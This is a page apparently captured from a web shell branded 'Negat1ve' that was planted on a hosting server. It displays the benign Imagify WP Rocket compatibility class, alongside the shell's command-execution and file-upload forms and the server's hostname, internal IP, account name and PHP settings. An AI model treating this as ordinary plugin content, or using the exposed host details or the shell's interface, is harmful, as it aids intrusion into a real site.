Linux webm017.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
10.127.20.17
/
home
/
m
/
a
/
t
/
matisecojj
/
pre-prod
/
wp-content
/
plugins
/
imagify
/
inc
/
3rd-party
/
wp-rocket
/
classes
[ HOME ]
Exec
Submit
File Name : Main.php
<?php namespace Imagify\ThirdParty\WPRocket; use Imagify\Traits\InstanceGetterTrait; /** * Compat class for WP Rocket plugin. * * @since 1.9.3 */ class Main { use InstanceGetterTrait; /** * Launch the hooks. * * @since 1.9.3 */ public function init() { add_filter( 'imagify_cdn_source', [ $this, 'set_cdn_source' ] ); } /** ----------------------------------------------------------------------------------------- */ /** HOOKS =================================================================================== */ /** ----------------------------------------------------------------------------------------- */ /** * Provide a custom CDN source. * * @since 1.9.3 * * @param array $source { * An array of arguments. * * @type $name string The name of which provides the URL (plugin name, etc). * @type $url string The CDN URL. * } * @return array */ public function set_cdn_source( $source ) { if ( ! function_exists( 'get_rocket_option' ) ) { return $source; } if ( ! get_rocket_option( 'cdn' ) ) { return $source; } $container = apply_filters( 'rocket_container', null ); if ( is_object( $container ) && method_exists( $container, 'get' ) ) { $cdn = $container->get( 'cdn' ); if ( $cdn && method_exists( $cdn, 'get_cdn_urls' ) ) { $url = $cdn->get_cdn_urls( [ 'all', 'images' ] ); } } if ( ! isset( $url ) && function_exists( 'get_rocket_cdn_cnames' ) ) { $url = get_rocket_cdn_cnames( [ 'all', 'images' ] ); } if ( empty( $url ) ) { return $source; } $url = reset( $url ); if ( ! $url ) { return $source; } if ( ! preg_match( '@^(https?:)?//@i', $url ) ) { $url = '//' . $url; } $scheme = wp_parse_url( \Imagify_Filesystem::get_instance()->get_site_root_url() ); $scheme = ! empty( $scheme['scheme'] ) ? $scheme['scheme'] : null; $url = set_url_scheme( $url, $scheme ); $source['name'] = 'WP Rocket'; $source['url'] = $url; return $source; } }
Back
Folder Name
Submit
File Name
File Content
Submit
System Information
Uname > Linux webm017.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 Software > Apache PHP > 8.1.33 Protocol > HTTP/1.1 IP / Port > 10.127.20.17 / 443 Mail > ON Curl > ON Owner > matisecojj MySQL > OFF Disable Function > _dyuweyrj4,_dyuweyrj4r,dl
*ReClick For Close
File : Negat1ve /JFR/.thumb35363/index.php
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
.
dir
-
matisecojj/users
0755
2024-11-12 08:36:23
..
dir
-
matisecojj/users
0755
2024-11-12 08:36:23
Main.php
text/x-php
1.96 KB
matisecojj/users
0644
2024-11-12 08:36:23
© Negat1ve